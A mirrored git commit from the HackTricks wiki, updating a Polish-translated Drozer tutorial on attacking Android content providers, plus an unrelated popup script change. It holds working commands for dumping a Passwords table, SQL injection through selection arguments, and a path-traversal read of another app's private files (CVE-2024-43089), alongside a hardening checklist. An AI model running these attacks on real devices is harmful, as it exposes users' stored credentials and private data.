mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/drozer-tutoria
This commit is contained in:
Translator
parent
872497c92e
commit
2f66cc42af
@ -38,7 +38,7 @@ Content Provider: com.mwr.example.sieve.FileBackupProvider
|
||||
Multiprocess Allowed: True
|
||||
Grant Uri Permissions: False
|
||||
```
|
||||
Możliwe jest złożenie sposobu dotarcia do **DBContentProvider** zaczynając URI od “_content://_”. To podejście opiera się na spostrzeżeniach uzyskanych z użycia Drozer, gdzie kluczowe informacje znajdowały się w katalogu _/Keys_.
|
||||
Możliwe jest złożenie informacji, jak dotrzeć do **DBContentProvider**, zaczynając URI od “_content://_”. To podejście opiera się na spostrzeżeniach uzyskanych z używania Drozer, gdzie kluczowe informacje znajdowały się w katalogu _/Keys_.
|
||||
|
||||
Drozer może **zgadywać i próbować kilka URI**:
|
||||
```
|
||||
@ -52,7 +52,7 @@ content://com.mwr.example.sieve.DBContentProvider/Keys/
|
||||
content://com.mwr.example.sieve.DBContentProvider/Passwords
|
||||
content://com.mwr.example.sieve.DBContentProvider/Passwords/
|
||||
```
|
||||
Powinieneś również sprawdzić kod **ContentProvider**, aby wyszukać zapytania:
|
||||
Powinieneś również sprawdzić kod **ContentProvider**, aby poszukać zapytań:
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
@ -60,9 +60,9 @@ Jeśli nie możesz znaleźć pełnych zapytań, możesz **sprawdzić, jakie nazw
|
||||
|
||||
.png>)
|
||||
|
||||
Zapytanie będzie wyglądać jak: `content://name.of.package.class/declared_name`
|
||||
Zapytań będzie w formacie: `content://name.of.package.class/declared_name`
|
||||
|
||||
## **Content Providers oparte na bazach danych**
|
||||
## **Content Providers oparte na bazie danych**
|
||||
|
||||
Prawdopodobnie większość Content Providers jest używana jako **interfejs** dla **bazy danych**. Dlatego, jeśli możesz uzyskać do niej dostęp, będziesz mógł **wyodrębnić, zaktualizować, wstawić i usunąć** informacje.\
|
||||
Sprawdź, czy możesz **uzyskać dostęp do wrażliwych informacji** lub spróbuj je zmienić, aby **obejść mechanizmy autoryzacji**.
|
||||
@ -85,34 +85,34 @@ password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
|
||||
-
|
||||
email: incognitoguy50@gmail.com
|
||||
```
|
||||
### Wstawianie treści
|
||||
### Insert content
|
||||
|
||||
Zapytując bazę danych, dowiesz się o **nazwach kolumn**, a następnie będziesz mógł wprowadzać dane do DB:
|
||||
Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
_Uwaga, że w przypadku wstawiania i aktualizacji możesz użyć --string, aby wskazać ciąg, --double, aby wskazać podwójną, --float, --integer, --long, --short, --boolean_
|
||||
_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_
|
||||
|
||||
### Aktualizacja treści
|
||||
### Update content
|
||||
|
||||
Znając nazwy kolumn, możesz również **zmodyfikować wpisy**:
|
||||
Knowing the name of the columns you could also **modify the entries**:
|
||||
|
||||
.png>)
|
||||
|
||||
### Usuwanie treści
|
||||
### Delete content
|
||||
|
||||
.png>)
|
||||
|
||||
### **SQL Injection**
|
||||
|
||||
Łatwo jest testować SQL injection **(SQLite)**, manipulując **projekcją** i **polami wyboru**, które są przekazywane do dostawcy treści.\
|
||||
Podczas zapytania do Content Provider istnieją 2 interesujące argumenty do wyszukiwania informacji: _--selection_ i _--projection_:
|
||||
It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
|
||||
When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_:
|
||||
|
||||
.png>)
|
||||
|
||||
Możesz spróbować **nadużyć** tych **parametrów**, aby testować **SQL injection**:
|
||||
You can try to **abuse** this **parameters** to test for **SQL injections**:
|
||||
```
|
||||
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
|
||||
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
|
||||
@ -173,10 +173,62 @@ Vulnerable Providers:
|
||||
content://com.mwr.example.sieve.FileBackupProvider/
|
||||
content://com.mwr.example.sieve.FileBackupProvider
|
||||
```
|
||||
## 2023-2025 Aktualizacje i nowoczesne wskazówki
|
||||
|
||||
### Drozer 3.x (Python 3) jest dostępny
|
||||
|
||||
WithSecure wznowił utrzymanie drozer w 2022 roku i przeniósł framework do **Python 3** (najnowszy **3.1.0 – kwiecień 2024**).
|
||||
Oprócz poprawek zgodności, nowe moduły, które są szczególnie przydatne podczas pracy z Content Providers, obejmują:
|
||||
|
||||
* `scanner.provider.exported` – lista tylko tych providerów, które mają `android:exported="true"`.
|
||||
* `app.provider.grant` – automatycznie wywołuje `grantUriPermission()`, aby można było rozmawiać z providerami, którzy oczekują `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` na Androidzie 12+.
|
||||
* Lepsze zarządzanie **Scoped Storage**, dzięki czemu providerzy oparte na plikach na Androidzie 11+ mogą być nadal osiągnięci.
|
||||
|
||||
Aktualizacja (host & agent):
|
||||
```bash
|
||||
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
|
||||
adb install drozer-agent-3.1.0.apk
|
||||
```
|
||||
### Używanie wbudowanej pomocy `cmd content` (ADB ≥ 8.0)
|
||||
|
||||
Wszystkie nowoczesne urządzenia z Androidem wyposażone są w CLI, które może zapytywać/aktualizować dostawców **bez instalowania jakiegoś agenta**:
|
||||
```bash
|
||||
adb shell cmd content query --uri content://com.test.provider/items/
|
||||
adb shell cmd content update --uri content://com.test.provider/items/1 \
|
||||
--bind price:d:1337
|
||||
adb shell cmd content call --uri content://com.test.provider \
|
||||
--method evilMethod --arg 'foo'
|
||||
```
|
||||
Połącz to z `run-as <pkg>` lub z dostępem do roota, aby przetestować wewnętrzne tylko dostawców.
|
||||
|
||||
### Ostatnie rzeczywiste CVE, które nadużywały dostawców treści
|
||||
|
||||
| CVE | Rok | Komponent | Klasa błędu | Wpływ |
|
||||
|-----|------|-----------|-------------|--------|
|
||||
| CVE-2024-43089 | 2024 | MediaProvider | Przechodzenie ścieżki w `openFile()` | Dowolne odczytywanie plików z prywatnej pamięci dowolnej aplikacji |
|
||||
| CVE-2023-35670 | 2023 | MediaProvider | Przechodzenie ścieżki | Ujawnienie informacji |
|
||||
|
||||
Odtwórz CVE-2024-43089 na podatnej wersji:
|
||||
```bash
|
||||
adb shell cmd content read \
|
||||
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
|
||||
```
|
||||
### Lista kontrolna wzmacniania dla API 30+
|
||||
|
||||
* Deklaruj `android:exported="false"` chyba że dostawca **musi** być publiczny – od API 31 atrybut jest obowiązkowy.
|
||||
* Wymuszaj **uprawnienia** i/lub `android:grantUriPermissions="true"` zamiast eksportować cały dostawca.
|
||||
* Wprowadź białą listę dozwolonych argumentów `projection`, `selection` i `sortOrder` (np. buduj zapytania za pomocą `SQLiteQueryBuilder.setProjectionMap`).
|
||||
* W `openFile()` kanonizuj żądany path (`FileUtils`) i odrzucaj sekwencje `..`, aby zapobiec przechodzeniu.
|
||||
* Przy udostępnianiu plików preferuj **Storage Access Framework** lub `FileProvider`.
|
||||
|
||||
Te zmiany w ostatnich wersjach Androida oznaczają, że wiele dziedzicznych prymitywów eksploatacyjnych nadal działa, ale wymagają dodatkowych flag/uprawnień, które zaktualizowane moduły drozer lub pomocnik `cmd content` mogą zastosować automatycznie.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
|
||||
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
|
||||
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
|
||||
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
|
||||
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
46
theme/ai.js
46
theme/ai.js
@ -4,9 +4,10 @@
|
||||
|
||||
|
||||
(() => {
|
||||
const KEY = 'htSummerDiscountDismissed';
|
||||
const IMG = '/images/discount.jpeg';
|
||||
const TXT = 'HT Summer Discount, Last Days!';
|
||||
const KEY = 'htSummerDiscountsDismissed';
|
||||
const IMG = '/images/discount.jpeg';
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
@ -32,13 +33,37 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (separate, over image) --- */
|
||||
/* --- Title bar (link + close) --- */
|
||||
const titleBar = $('div', `
|
||||
padding: 1rem; text-align: center;
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
`);
|
||||
titleBar.textContent = TXT;
|
||||
|
||||
const link = $('a', `
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
display: block;
|
||||
`);
|
||||
link.href = URL;
|
||||
link.target = '_blank';
|
||||
link.rel = 'noopener noreferrer';
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
color: #fff; font-size: 1.4rem; line-height: 1;
|
||||
cursor: pointer; padding: 0; margin: 0;
|
||||
`);
|
||||
closeBtn.setAttribute('aria-label', 'Close');
|
||||
closeBtn.textContent = '✕';
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
const img = $('img');
|
||||
@ -62,14 +87,15 @@
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
(document.readyState === 'loading'
|
||||
? () => document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true })
|
||||
: () => document.body.appendChild(overlay))();
|
||||
if (document.readyState === 'loading') {
|
||||
document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true });
|
||||
} else {
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* HackTricks AI Chat Widget v1.16 – resizable sidebar
|
||||
* ---------------------------------------------------
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user